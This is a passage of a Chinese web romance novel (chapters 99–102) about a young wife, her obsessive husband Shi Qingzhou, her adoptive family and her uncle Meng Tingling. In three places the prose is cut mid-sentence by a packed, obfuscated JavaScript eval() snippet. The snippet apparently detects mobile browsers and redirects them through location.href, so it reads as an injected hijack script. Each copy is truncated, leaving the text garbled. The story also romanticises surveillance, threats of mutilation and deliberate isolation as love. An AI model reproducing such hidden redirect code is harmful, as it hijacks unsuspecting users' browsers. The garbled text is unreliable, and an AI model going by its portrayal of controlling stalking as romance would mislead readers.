他揉了揉她的头发,声音恢复了惯有的温柔。 “下一次回来,就像我上次说过的一样……” 他顿了顿,眼底的温度冷却下去。 “就是我带你来看好戏的时候。” 孟昭月乖巧地点了点头,没有再追问。 随着压抑的建筑群彻底消失在地平线上,车内的气氛重新变得温馨起来。 时卿舟看着怀里的人,唇角勾起一个弧度:“接下来,时太太想去哪里?” 孟昭月正准备回答,口袋里的手机却突然响了起来。 她拿出来一看,是养母林秀兰。 她看了一眼时卿舟,然后接通了电话:“……妈?” 她称呼得有些生疏,但也在慢慢适应。 “哎,月月啊!”电话那头传来林秀兰热情的声音。 “你和小舟现在有空吗?” “我跟你爸寻思着,你们这刚结婚,按规矩,也该回娘家吃顿饭,算是回门了。” “我跟你爸把家里都收拾好了,还请了几个亲戚过来热闹热闹,你们看……” 孟昭月听着电话那头嘈杂的背景音,都能想象到家里那副热闹的景象。 她下意识地蹙了蹙眉,不是很想去应付那些亲戚。 她抬起头,用眼神征求着时卿舟的意见。 时卿舟对她温柔地笑了笑,用口型无声地说:“听你的。” 孟昭月的心里涌上一股暖流。 她看着他眼中的纵容,最终道:“好,妈,我们现在就过去。” …… 当黑色的法拉利驶入那个老旧的居民小区时,立刻引起了一阵不小的骚动。 孟昭月和时卿舟提着礼品刚一进门,就被喧嚣包围。 不大的客厅里挤满了人。 七大姑八大姨围坐在一起,嗑着瓜子聊着天。 看到他们进来,几十道目光齐刷刷地投了过来。 孟昭月:“……” 她往时卿舟身后躲了躲,而时卿舟揽着孟昭月,笑得温和从容。 “哎哟,这就是月月家的女婿吧?长得可真俊!”一个烫着卷发的大姨率先开口。 她眼睛在时卿舟身上那件看起来就价格不菲的大衣上溜了一圈。 林秀兰满面红光地迎了上来。 “是啊是啊,这就是我们家女婿,小舟!” “在寰宇工业当领导的,可有出息了!” 她脸上的骄傲和炫耀毫不掩饰。 亲戚们立刻七嘴八舌地围了上来。 “小舟啊,今年多大了?” “在哪买的婚房啊?” “现在一个月工资多少啊?” …… 问题一个比一个现实。 时卿舟脸上的笑容依旧温和得体,耐心地一一回应着,滴水不漏。 期间,他的手机轻轻震动了一下。 他拿出来看了一眼,是姜玦发来的短信。 「少爷,今天上午,孟婉凝与林秀兰有过一次通话。」 「通话时长四十六分钟。」 「通话内容已整理了文字版发送到您的手机上。」 很长,比上次长多了。 时卿舟不动声色地将手机收回口袋,脸上的笑容没有丝毫变化。 送走最后一波热情的亲戚,天色已经完全黑了。 林秀兰将两人安排进了孟昭月过去住的房间。 “你们俩早点休息,我跟你爸就不打扰了。” 老两口把儿子探头探脑的小脑袋按回去后,笑眯眯地关上了门。 孟昭月打量着这个属于“自己”的房间。 很小。 这是她的第一感觉。 床、书桌、衣柜。 但是配置倒也齐全。 这就是她生活了十多年的地方吗? 一切都显得那么普通,又那么遥远。 不过…… 至少比时卿舟的房间看着好多了。 她悄悄看向时卿舟。 只见男人的目光一寸一寸地,扫视着这个狭小空间里的每一个角落,每一件物品。 贪婪。 病态的窥探欲。 还有即将占有领地的兴奋 孟昭月:“……” “阿卿?”孟昭月被他看得有些不自在,轻声唤道。 时卿舟伸出手,指腹轻轻地、缓慢地,抚过柔软的枕头。 动作缱绻。 “这里……” 他的声音很低,带着一丝不易察觉的沙哑。 “就是月月以前睡觉的地方?” 孟昭月不确定的点了点头。 时卿舟:“看起来……很香。” 孟昭月脸色顿时红了,她几步上前一把把自己的枕头扔远了一些。 “你这个家伙,不要说奇奇怪怪的话诶!” 时卿舟看向孟昭月无辜的眨了眨眼。 孟昭月脸更红了。 “洗,洗澡睡觉了!”她连忙转移话题,说着拉开了衣柜翻找睡衣。 “话说阿卿今天晚上穿什么睡?” 时卿舟凑了过去,好奇地、毫不避讳地往孟昭月的衣柜里看。 “我让姜玦把日常用的东西送来了,月月别担心。” 他一边说着,一边欣赏着孟昭月那些看起来还有些稚嫩的旧衣物。 然后他的目光落到了其中一个小盒子上。 孟昭月找到一套小熊睡衣后抬起头。 然后就看到时卿舟,正拿着一条印着小兔子图案的内裤打量着。 或者说观摩着。 孟昭月:“!!!” 注意到孟昭月的视线,时卿舟抬起了头,语气有些狂热:“月月,我可以……” 孟昭月一把抢过内裤,塞衣柜,关门一气呵成:“不可以!” 时卿舟明显地露出了可惜的神色。 孟昭月脸色红得要烧起来了:你这个家伙到底在可惜什么啊! …… 另一边,时家庄园。 时莉莉正靠在时费的怀里撒娇。 “Hero~我不管嘛,你怎么能让小狗就这么跟那个**走了?” “他都好几天没陪我了!” “好了好了,我的小公主。”时费像个慈祥的父亲,宠溺地拍着她的背。 “不过是放出去办点事,很快就会回来的。” 他安抚着女儿的情绪,答应给她买下最新款的全套玩偶。 时莉莉这才善罢甘休,心满意足地离开了。 刚一回到自己的公主房,她脸上的甜美笑容就消失了。 她拿出手机,屏幕上是一条未读短信。 她点开,短信页面的第一句话是 「孟婉凝你那边到底行不行?这么久了怎么还没动静?」 紧跟着的,是对方刚刚发来的第二条。 「下周五,派对,来看小丑。」 时莉莉看着,嘴角勾起一抹恶意的笑容。 …… 孟昭月裹着浴巾从浴室里走出来。 空气中弥漫开清甜的栀子花沐浴露香气。 她擦着湿漉漉的头发,一眼就看到了坐在书桌前的时卿舟。 男人手里正捧着一本相册,看得专注,连她走近都没有发觉。 孟昭月凑过去,看到他正翻到的那一页。 是一张她穿着蓝白校服的单人照。 照片里的女孩梳着简单的马尾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773851|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上还带着点婴儿肥,对着镜头笑得一脸灿烂。 背景是学校的操场和跑道。 “阿卿,在看什么呢?”她好奇地问。 时卿舟抬起头,桃花眼就那么直直地看着她。 目光从她还滴着水的发梢,滑到她泛着红晕的脸颊,最后定格在她水润的唇瓣上。 他没有回答她的问题,只是将相册合上。 然后伸出手,将她整个人都拉进了怀里,让她坐在自己的腿上。 他将脸埋在她的颈窝,深深地吸了一口气,脸上露出痴迷的神情。 “真香……” 他喟叹一声。 “月月的味道,真好闻,怎么闻都闻不腻。” 孟昭月被他弄得有些痒,下意识地缩了缩脖子,却被他抱得更紧了。 “要是我能早点遇到你就好了。”他的声音闷闷的。 孟昭月闻言,忍不住轻笑出声。 她伸出手指,戳了戳他坚实的胸膛:“早点遇到也没用呀。” “我高中时候可是好学生,才不会跟你早恋呢。” 时卿舟抬起头,看着她脸上那副俏皮得意的模样,唇角勾起一个弧度。 不会吗? 第二世的时候,她就是从高中和他在一起的。 他怀念过去,但是更耽溺于现在。 他用指腹轻轻摩挲着她的脸颊,声音低沉偏执:“我说的早,是从你出生的那一刻开始算。” 孟昭月的杏眼微微睁大。 “你生命里的每一分,每一秒,都应该属于我。” 他的眼神专注而疯狂。 “从你第一次呼吸,第一次哭泣,第一次微笑开始,我就该在你身边。” “所有时间节点的孟昭月,都只能是时卿舟的。” 孟昭月:“……” 怎么听起来这么变态。 不过,她还挺受用的。 当然,她不知道是。 未来再次看到这些照片,会是在时卿舟的收藏室里。 照片旁边,就摆着她今天用的这瓶栀子花沐浴露。 …… 第二天清晨,天刚蒙蒙亮,时卿舟就换好了运动服,准备出门晨练。 他刚走到客厅,就遇到了同样早起的林秀兰。 “哎,小舟,这么早就起来了?”林秀兰端着一杯水,有些惊讶地问。 “嗯,习惯了。”时卿舟对她温和地笑了笑,“阿姨早。” “去晨练啊?”林秀兰上下打量了他一番,点了点头。 “年轻人是该多锻炼锻炼。” “对了,月月呢?让她也跟你一起去啊!” 时卿舟脸上的笑容不变:“月月还在睡,让她多休息一会儿吧。” “这怎么行!”林秀兰立刻不赞同地拔高了声音。 “那丫头从小就体弱,不爱动弹。” “现在有你带着,正好让她锻炼锻炼身体!” “你等着,我去叫她!”说完,她风风火火地就冲向了孟昭月的房间。 几分钟后,孟昭月顶着一头乱糟糟的呆**,睡眼惺忪地被林秀兰从被窝里拽了出来,脸上写满了生无可恋。 她满脸幽怨地瞪了一眼旁边那个一脸无辜的时卿舟,收拾好慢吞吞地跟着他下了楼。 冬日清晨的空气清冽。 时卿舟跑出一段距离,发现身后没了动静,停下脚步回头看去。 只见女孩正扶着膝盖,累得气喘吁吁。 他勾唇笑了笑。 真可爱。 然后折了回去。 孟昭月看到他回来,眼睛一亮。 她想也没想就扑了过去,整个人都挂在了他身上。 “不跑了不跑了,累死我了……” 她在他怀里哼哼唧唧地耍赖。 “阿卿,你背我。” 时卿舟稳稳地接住她,熟练地将她往上托了托,让她能更舒服地趴在自己背上。 “好,背你。”他的声音里满是宠溺。 …… 早餐是时卿舟准备的。 色香味俱全。 惹得刘文涛夫妇两夸赞连连。 吃早餐饭,在两人准备离开时。 林秀兰又拉着孟昭月的手,苦口婆心地劝道。 “月月啊,既然你和小舟都领证了。” “你又是孟家正儿八经的千金。” “按理说,也该回孟家去一趟,那边也得回门。” “别让人家说我们不懂礼数。” 孟昭月沉默了一会,然后乖巧地点了点头:“知道了,妈。” 没有给出明确答复。 第100章 蛋糕 离开老旧的小区,上班路上。 车内,时卿舟状似不经意地开口。 “我今天要去一趟星辉娱乐。” “好的。”孟昭月正靠在椅背上补觉,闻言含糊地应了一声。 “那是孟家的公司。”时卿舟又补充了一句。 “这家公司总裁是孟廷凛。” “哦。”孟昭月闭着眼哼唧了一声。 依旧反应平淡。 时卿舟看着她这副对孟廷凛毫不在意的模样,唇角勾起一个满意的弧度。 他凑过去,在她脸颊上亲了一口。 “乖。” 他的声音温柔, “乖乖月月就该这样。” “离孟廷凛那种道貌岸然的**子远一点。” …… 孟昭月走进办公室。 她一眼就看到了,之前那个女同事的桌子上,多了一个Gucci手袋。 和她之前丢掉那个一样。 同事看到她进来,脸上闪过一抹心虚。 手忙脚乱地将那个包往桌子底下藏了藏。 孟昭月挑了挑眉,没说什么。 径直走回了自己的工位。 她刚坐下没多久。 许蔓就踩着高跟鞋走了过来。 “昭月,你来一下。” 孟昭月跟着她走到办公室外。 许蔓:“关于文化审查进度的事情,需要我们派人过去对接一下。” “就在星辉娱乐。” 孟昭月听到这个名字,微微抬眼。 时卿舟早上不是说过要去这家公司吗? 许蔓继续道:“那边指名让你过去。” “让我去?”孟昭月有些疑惑,“为什么?” “我也不清楚。”许蔓也有些奇怪。 “是他们总裁办公室直接下的通知。” “你准备一下资料,现在就过去吧。” 孟昭月有些疑惑。 总裁? 她立刻就想到了孟廷凛。 不过还是,点了点头,没再多问。 她拿着资料,打车前往星辉娱乐。 公司大楼坐落在市中心最繁华的地段,装修气派。 她刚一走进大门,就看到了好几个在电视上才能见到的明星。 …… 总裁办公室。 在得到进门许可后,周衍帮她推开了门。 孟廷凛正坐在桌后处理文件,他听到动静,抬起头。 那双狭长的凤眼在看到孟昭月的瞬间,顿时定住。 他停下了手中翻动文件的动作。 就那么沉默地看着她。 上次餐厅的事还历历在目。 他一时间不知道该用什么姿态来面对自己的侄女。 孟昭月则是一贯乖巧地点了点头:“孟总。” 空气安静了好一会。 过了好几秒,孟廷凛才重新开口,声音因为许久的沉默而显得有些沙哑。 “去会客室等我。”孟廷凛顿了顿,然后语气沉了一些。 “还有,叫我小叔。” 孟昭月乖巧的笑容没变:“小叔。” 然后被周衍引到了一个茶室隔间。 她刚坐下没多久,孟廷凛就从外面走了进来。 他手上提着一个设计简约的牛皮纸盒子。 盒子上是一个设计精妙的手写花体英文logo。 他将盒子放到孟昭月面前的茶几上。 然后在她对面的位置坐了下来。 孟昭月看着那个盒子,有些疑惑地抬起头,望向对面的男人。 孟廷凛下意识地移开了视线。 他有些不自然地轻咳了一声。 “最近看到……一些年轻女孩,好像挺喜欢这个的。” 他的声音依旧低沉,却少了几分平时的冷硬。 “上班的时候路过,刚好看到。” “就给你也买了一份。” 孟昭月看了一眼那个盒子,认出了那个loge。 是最近在社交媒体上很火的一家私房糕点铺。 主打的,就是各种口味的千层蛋糕。 据说每天限量供应。 门口排队的人能从街头排到街尾。 她微微歪了歪头:“这家店人很多的,听说要排很久的队,很难买到诶。” 孟廷凛的目光重新落到了孟昭月身上。 看着女孩的面容微微不由自主地勾起了唇。 “多付点钱就行了。”孟廷凛的语气很平淡,声音却不自觉地放柔了一些 “尝尝吧。” 孟昭月没有动,也没有说话。 只是用那双干净透亮的杏眼,安安静静地看着他。 乖巧、纯粹、只是看着他。 孟廷凛下意识地有些紧张。 他不自觉地微微挺直了背脊。 随即又反应过来,面对一个晚辈,有什么好紧张的? 可当他的目光再次对上女孩那双眼睛时,所有的强势和冷硬都溃不成军。 她就那么乖乖地坐在那里。 瞧着娇娇软软的,脆弱又无助。 好像只要稍微大声一点说话,她就会被吓得哭出来。 偏偏他上次说了这么重的话。 一种想要小心翼翼去哄着她的冲动,在他心底蔓延开来。 孟廷凛垂下了眼眸,语气有些小心:“昭月,上次小叔……” “小叔。” 女孩的声音突然响起,软软糯糯的,打断了他的话。 “我不矫情。” 孟廷凛闻言,脸上的血色以肉眼可见的速度迅速褪去。 这是他前几天晚上,亲口对她说出的话。 孟昭月脸上的表情没有变化,依旧是那副乖巧甜美的模样。 她看着脸色煞白的男人。 继续用那种软糯的语调,一字一句地,清晰地说道: “阿卿说过,我很好,一点都不矫情。” “我很自尊自爱。” “我很清楚自己在做什么。” “时卿舟很爱我,我也很爱他。” 她每说一句话,孟廷凛的脸色就更白一分。 最后,孟昭月看着他,歪了歪头,露出了一个比糖还要甜的笑容。 “小叔,你知道吗?” “你很让人讨厌。” 孟廷凛的身体彻底僵住了。 他感觉自己的心脏像是开了一个大洞。 冷风呼呼地往里灌,带来一阵阵抽痛。 他张了张嘴,想说些什么。 喉咙却干涩得发不出任何声音。 “昭月……” 过了很久,他才从喉咙深处挤出这两个字。 孟昭月对他甜甜地笑了笑,那双杏眼里看不出任何情绪。 “小叔,我是来和你谈工作上的事的。” 她语气乖巧而礼貌。 孟廷凛沉默地看着她,眼底翻涌着复杂的情绪。 最终,他还是点了点头,声音里带着疲惫。 “好。” 他深吸了一口气,强迫自己将注意力转移到工作上。 “关于星瀚科技文化审查的事情。” “我已经和你父亲说过了,暂时由我全权负责。” 他的目光重新落回到孟昭月身上。 那份属于上位者的锐利和压迫感并没对女孩展现。 只有一种说不清道不明的复杂。 “以后,你直接找我对接就行。” 孟昭月乖巧地点了点头。 看着女孩那副安静顺从的模样,孟廷凛心里那股烦躁和憋闷愈发强烈。 他想再说点什么。 想解释,想道歉。 可所有的话都堵在喉咙里,最终只化为了一声沙哑的叹息。 “昭月乖……” 就在这时,茶室的门被轻轻敲了两下,随即被推开。 孟婉凝走了进来。 “小叔,我剧本版权的事……” 她看到茶室里的两人,脸上微微有些惊讶。 “孟昭月?” 随即恢复了得体的笑容。 “小叔,昭月妹妹,你们都在啊。” 孟昭月抬起头,对她礼貌地笑了笑:“姐姐。” 孟婉凝的视线扫过孟昭月和孟廷凛,带上些许审视。 看到孟昭月和孟廷凛单独在一起,她莫名有种危机感。 她的目光在室内扫了一圈,很快就落在了茶几上那个还没来得及收起来的蛋糕盒子上。 她一眼就看清了那盒蛋糕,随即重新恢复了从容的优雅。 “咦,这不是那家‘SweetWhisper’的抹茶千层吗?” 她的声音温婉动听。 “我记得小叔之前还问我要不要吃呢。” “我说最近在塑形,就拒绝了。” 她说着,看向孟昭月。 然后露出了一个了然的、带着几分善意调侃的笑容。 “原来是‘又’拿来给妹妹了啊。” 这个“又”字用得巧妙,像是在暗示。 这蛋糕是孟廷凛将她不要的,拿来给孟昭月的。 孟昭月闻言,在心里轻轻地叹了口气。 来了。 熟悉的味道,熟悉的配方。 她脸上依旧是那副乖巧甜美的笑容,没有说话。 孟廷凛则没听出孟婉凝话里的意味深长。 他确实问过孟婉凝,也确实被拒绝了。 在他看来,这不过是在陈述一个事实罢了,并没有什么不妥。 他看向孟婉凝,语气是和往日一样的温和。 “你剧本的事情,等一下再谈。” 孟婉凝对着两人微微颔首,转身离开了茶室,将空间留给了他们。 “你和时卿舟领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他可不想这么早就重启世界。 就在这时,周衍走了过来:“孟小姐,孟总请您过去一趟。” 孟婉凝如蒙大赦,连忙跟着周衍离开了。 孟婉凝一走,时卿舟就直接抓着孟昭月的手,拉着她就往楼梯间的方向走。 “阿卿?”孟昭月被他拉得一个趔趄,有些不明所以。 他没有解释,只是沉默着将她带进了无人的楼梯安全通道。 “砰”的一声,防火门在身后合上。 “宝宝。” “我是不是说过,离孟廷凛远点?” 他的语调一如既往的温柔,桃花眼却盯着女孩,微微眯起。 孟昭月被盯得咽了咽口水:“我,我只是因为公司安排的工作才来的……” 时卿舟看着孟昭月,没说话。 孟昭月声音更小了:“这也不是我能拒绝的嘛……” 时卿舟语气温和而严厉:“乖乖,把我早上和你说的话复述一遍。” 孟昭月:“……” 她怎么感觉自己像是小学生被老师训一样。 最终扛不住时卿舟的目光压力,孟昭月哼哼唧唧地复述了一遍。 “离,离孟廷凛那种……道貌岸然的**子远一点。” 时卿舟神情微微松了一些:“乖。” 然后一个蛋糕盒递到了孟昭月面前:“给你的。” 她愣了一下,开心地接了过来:“谢谢阿卿!阿卿最好了!” 时卿舟看着她,眼中没忍住带上了些笑意。 孟昭月看清了上面logo,才发现和之前孟廷凛给她的那个一模一样。 “好巧啊。” “小叔刚刚也给我买了一个一样的蛋糕。” 时卿舟看着她,唇角勾起一个弧度:“不巧。” “我知道他给你买了,然后特地买的一样。” 他特别强调:“买之前,我没有问过任何人。” “这个,是只为你一个人买的。” 孟昭月愣了愣。 熟悉的话语。 她想起了刚刚在茶室发生的事情。 监视。 这两个字立刻在她的大脑里浮现。 时卿舟伸出手,用指腹轻轻摩挲着她的脸颊,声音低了下来,带着几分蛊惑的意味。 “月月是乖孩子。” “乖孩子,不应该吃别人给的东西。” “只能吃老公给的,嗯?” 第101章 病娇时卿舟?孟昭月她超爱 孟昭月看着他,唇角勾起一个弧度。 她伸出手,握住了那只还在她脸颊上流连的手,将它带到自己的唇边。 唇瓣贴上他微凉的指尖,一个轻柔的吻印了上去。 时卿舟的身体在那一瞬间绷紧了。 那双深邃的桃花眼死死地盯着她,瞳孔以肉眼可见的速度收缩。 看到他这副样子,孟昭月眼底的笑意更深了。 好乖。 她心想,像被驯服的可爱的狗狗一样。 “阿卿。” 她的声音刻意放得又软又黏,像融化的蜜糖。 “你是不是听到刚刚孟婉凝和小叔说的话了?” 她一边问着,一边在那被她吻过的指尖上,不轻不重地咬了一下。 力道很轻,只留下浅浅的印迹。 带着一种小猫般的、顽皮的挑逗。 时卿舟的喉结剧烈地上下滚动了一下。 他猛地抽回手,另一只手却更快地扣住了她,将她整个人都按向自己。 他的呼吸变得滚烫,胸膛剧烈地起伏着。 像是在极力压抑着什么即将喷薄而出的东西。 孟昭月被他按在怀里。 能清晰地感觉到他紊乱的心跳和身体的颤抖。 她没有挣扎,反而更加得寸进尺。 “阿卿。” 她仰起脸,那双干净明亮的杏眼一瞬不瞬地望着他。 声音无辜:“你是不是……一直在看着我?” 时卿舟没有否认。 他捧起她的脸,额头抵着她的额头。 那双漂亮的桃花眼里翻涌着浓稠到化不开的疯狂与偏执。 “是。”他的声音沙哑,“我一直在看着你。” 他凑得很近,温热的呼吸喷洒在她的脸上。 “我让人跟着你,在你看不见的地方。” “你的公寓,你的办公室,所有你能去的地方,都有我的眼睛。” 他的眼神专注而病态。 像一张网,要将她整个人都密不透风地包裹起来。 “月月……不喜欢我这样吗?” 就在孟昭月以为他又会搬出那套为了保护她、为了她好的说辞时。 他却完全没有掩饰自己的病态。 “可是……”他的声音低了下去。 带着浓重的、几乎要碎裂的乞求。 “我想要看着你。” “我看不到你……就感觉像毒瘾犯了一样。” “骨头缝里都是空的,又痒又疼,快要死掉了。” “一想到有别的男人可能会和你接触、可能会和你说话……” “甚至……只是看着你。” “我就要疯了。” “我想**。” “我想把他们的眼珠子都挖出来,把他们的舌头都割掉,把他们的手脚都砍断!” 他抬起头,那双被欲望和疯狂烧得通红的眼睛死死地盯着她,里面满是哀求的水光。 “月月……让我看着你好不好?” “一直看着你好不好?” “从头发丝到脚尖,从皮肤到骨骼……都让我看着。” “求你……” 孟昭月眨了眨眼。 这家伙,就这么承认了? 连掩饰都懒得掩饰了。 自从上次在收藏室,他对着她发病,发现她并不介意之后,他就越来越不加遮掩,越来越直白了。 可是,听到他这份病态到极致的爱意…… 她却开心得快要疯掉。 那种被疯狂地、毫无保留地爱着的感觉。 如同温热的潮水,将她整个人都淹没了。 每一个细胞都在叫嚣着满足。 真好。 孟昭月伸出手,回抱住他。 脸上露出了一个乖巧又无辜的笑容。 “喜欢。” 她的声音很轻软。 时卿舟的身体被定住了。 他不敢置信地看着她,那双疯狂的眼睛里,第一次出现了茫然。 孟昭月看着他呆住的样子,唇角的弧度更深了。 她凑到他耳边,用气声,又重复了一遍。 “好喜欢阿卿这样……只看着我。” 时卿舟的呼吸,在那一瞬间彻底乱了。 他猛地倒吸一口凉气,身体剧烈地颤抖起来。 “月月……”他从牙缝里挤出这两个字,声音沙哑得不成样子。 下一秒,他彻底失控了。 **般的吻,疯狂而用力地落了下来。 他吻得毫无章法,啃咬、厮磨。 像一只饿极了的野兽,疯狂地汲取着她的每一缕气息。 他的手上的动作也又乱又重。 孟昭月被他弄得浑身发软,脸颊红得快要滴出血来。 她连忙伸出手,抵住他不断靠近的胸膛。 “等等等……这里还在外面……” “不要,我要憋**。”时卿舟根本不听,他的声音闷闷的。 “就在这里。” 孟昭月吓了一跳,连忙摇头:“不行!” 这可是安全通道,万一有人进来怎么办? 时卿舟脸上的表情写满了那啥啥不满,但他最终还是停下了动作。 他俯身抱着她,将脸埋下。 在她的领口处,用力地吸了好几口,才像是稍稍缓解了一点。 然后,他一把将她打横抱起,转身就朝着楼梯口走去。 “那去车上。”他的声音压抑着,每一个字都像是从喉咙深处挤出来的。 孟昭月哪壶不开提哪壶:“你不是还要找小叔谈工作吗?” “不找了。”时卿舟的脚步没有丝毫停顿。 “先灭火。” 接下来的记忆,变得破碎而混乱。 从法拉利后座开始。 再到花禾公寓冰冷的玄关地板,他甚至来不及关门。 客厅柔软的地毯上。 最后是卧室的床。 不知过了多久,已经是下午了。 孟昭月累得连一根手指头都动不了,沉沉地睡了过去。 时卿舟却毫无睡意。 他侧躺在床上,支着头,目光贪婪地、一寸一寸地描摹着怀里女孩的睡颜。 他伸出手,指尖一遍又一遍地,轻轻地,抚摸着她的脸颊、眉眼、鼻尖。 像是怎么都看不够。 他低下头,在她光洁的额头、挺翘的鼻尖、微微红肿的唇瓣上。 落下一个又一个轻柔的、克制的吻。 食髓知味。 过了很久,他才起身走进了浴室。 …… 楼下,黑色的法拉利旁。 姜玦靠在车身上。 冬日午后的阳光暖洋洋地洒在他身上,让他忍不住打了个呵欠。 他正在和秦御通话。 “黑水那边,怎么样了?”他懒洋洋地问。 秦御语气得意:“已经处理干净了。” 姜玦:“果然和少爷预料的一样。” 秦御顿了顿,语气带上了一些讳莫:“少爷之前那些事……简直就像未卜先知一样。” “我从来没见过这么可怕的人。” 姜玦的目光落到远处:“不管少爷是什么人。” “我们这条命是他给的,现在的地位也是他给的。” “就算我们侍奉的是个恶魔,那也得献上绝对的忠诚。” 秦御“嗯”了一声,表示认同。 随即他的又调侃道:“说起来,少爷的新婚生活怎么样了?” 姜玦沉默了片刻。 “不羡仙。”他最终只给出了这三个字。 秦御吹了个口哨。 “啧啧,以前少爷为了只存在于幻影里的人,偏执疯狂到了什么地步。” 人人都知道,时家的十九少爷,有个白月光。 没人见过她,也不知道她是谁。 时卿舟的心腹们甚至一致认为那只是少爷的幻觉。 “没想到,这个世界上,那幻影还真存在。” 姜玦沉默了。 他想起那些年,时卿舟近乎自毁般的疯狂。 想起他对着一张空荡荡的画像喃喃自语的模样。 “也好。”他说,“总该有个锁链,能锁住地狱里的恶魔。” “不然这人间,还不知道会变成什么样。” 话音刚落,他的手机就震动了一下,是时卿舟的来电。 姜玦立刻站直了身体,快速对着电话那头说:“少爷来电,先挂了。” 他迅速接通了时卿舟的电话,声音恭敬:“少爷。” 电话那头传来时卿舟带着几分慵懒,甚至带着明显的餍足愉悦的声音。 “备车,再回星辉娱乐一趟。” 姜玦:“……” 得。 这位爷是刚从温香软玉的怀里爬起来。 终于想起还有正事没办了。 …… 孟昭月是被饿醒的。 她迷迷糊糊地睁开眼,窗外已经是一片沉沉的夜色。 房间里没有开灯。 只有窗帘缝隙透进来的、城市的霓虹光影。 在黑暗中勾勒出模糊的轮廓。 一个高大的人影,就那么安静地坐在她的床边,一动不动地看着她。 孟昭月吓得一个激灵,瞬间清醒了。 她下意识地就想尖叫,但在看清那个熟悉的轮廓后,到了嘴边的声音又被她硬生生地咽了回去。 “阿卿?”她试探着唤了一声,声音因为刚睡醒而带着几分沙哑。 男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他点了点头,语气轻松。 “月月想去交朋友,挺好的。” 孟昭月有些惊讶,她没想到他会这么轻易就同意了。 时卿舟看着她脸上那副错愕的可爱模样,眼底的笑意更深了。 有些事他当然不会告诉她。 去吧,我的月月。 去交朋友,去接触这个世界。 然后你就会发现,这个世界上所有的人,都是坏人。 他们会欺骗你,会利用你,会伤害你。 到那个时候,你就会明白。 只有我,才是唯一能保护你的人。 只有我,才是唯一真心爱你的人。 你最终,还是会回到我身边。 并且,再也无法离开。 孟昭月看着时卿舟脸上那温柔的笑容,心里那股诡异的感觉又冒了出来。 她想起了许蔓,想起了养父母。 朋友,家人…… 她真的需要这些吗? 好像…… 也不是那么需要呢。 她有阿卿,就够了。 “对了,”时卿舟像是突然想起了什么,开口说道。 “如果月月想去参加许蔓的生日派对,可以戴着我送你的新婚礼物去。” 孟昭主月愣了一下,才反应过来他说的是那条血钻项链。 “那个太贵重了,”她连忙摇头,“万一弄丢了怎么办?” “没关系。”时卿舟的语气依旧温柔,“戴着去吧,没准……会遇到一些有趣的事情。” 孟昭月犹豫了一下,最终还是点了点头。 …… 晚餐结束后,孟昭月去洗了个澡。 当她裹着浴巾从浴室里走出来时。 却看到时卿舟靠在客厅的沙发上,睡着了。 他身上还穿着刚刚换的居家服,眉头微蹙,似乎睡得并不安稳。 他忙了一天,也该累了。 孟昭月放轻脚步,拿着毯子走到沙发边给他盖上。 然后,缓缓地蹲了下来。 她就那么安静地看着他的睡颜。 灯光柔和地落在他轮廓分明的脸上。 褪去了平日里的危险和偏执,让他看起来有几分无害。 孟昭月看了一会儿,没忍住,凑过去。 在他的唇上,轻轻地亲了一下。 温热的,柔软的。 真的,最喜欢时卿舟了。 她想。 她不知道的是。 每一次,当他从睡梦中醒来,看到身边还在熟睡的她时。 他也是这样,安静地,痴迷地,看着她。 一看,就是一整个清晨。 第102章 暗流 周五傍晚。 冬夜的风卷着细碎的雪粒,在车窗外呼啸。 姜玦握着方向盘,那辆黑色的法拉利在错综复杂的巷弄里绕了第三圈。 “少夫人,导航显示就在这附近。”姜玦的声音里难得带了几分迟疑。 孟昭月趴在车窗上,看着外面昏暗的路灯和紧闭的卷帘门,有些纳闷。 这地方偏僻得连只流浪猫都看不见。 偏偏京江市的白领和精英们都喜欢的清吧。 而且阿卿今天有事,没办法陪她来。 也不知道阿卿在干嘛。 孟昭月戳了戳起雾的车窗。 终于,在一个不起眼的拐角处。 看到了许蔓给她发的生日派对的地点名。 「汐·suchfriend」 字体潦草,不仔细看根本认不出来。 “找到了。”孟昭月松了口气,解开安全带。 她拿起放在副驾驶上的礼物袋,下车了。 姜玦点了点头,在孟昭月下车后,收到手下发来的短信。 「酒店位置已确定,人员已就位。」 …… 孟昭月进门后。 清吧里的光线很暗,只有几盏复古的煤油灯散发着暖黄色的光晕。 墙上有个巨大的投影幕布,上面写着“生日快乐”。 大厅中央是一个下沉式的卡座区。 几个年轻男女正围坐在一起,手里端着酒杯,低声谈笑着。 而在吧台,几个工作人员脸上都戴着纯白的面具。 那个面具听说是这家清吧的特色。 孟昭月站在门口,视线在人群中搜寻了一圈。 没有看到许蔓。 她有些犹豫地抓紧了手里的礼物袋,目光落在了离她最近的一个男人身上。 那人似乎也是这里的主理人之一。 他身形极高,穿着一件黑色的衬衫,袖子挽起,露出结实的小臂。 他正靠在吧台边,手里漫不经心地擦拭着一只水晶酒杯。 孟昭月走了过去。 “你好。”她乖巧地打招呼。 男人擦拭酒杯的动作停住了。 他抬头看着她。 虽然看不到对方的面容。 但孟昭月能清晰地感觉到,面具后那道视线直直地落在她身上。 沉甸甸的,像浓稠的墨。 甚至让她有一种被野兽锁定的错觉。 “我是来参加许蔓小姐的生日派对的。”孟昭月被他看得有些发毛,下意识地缩了缩脖子。 “请问……是在这里吗?” 男人没有立刻回答。 他放下了手中的酒杯和擦布,手撑着吧台,微微俯身。 凑近了她。 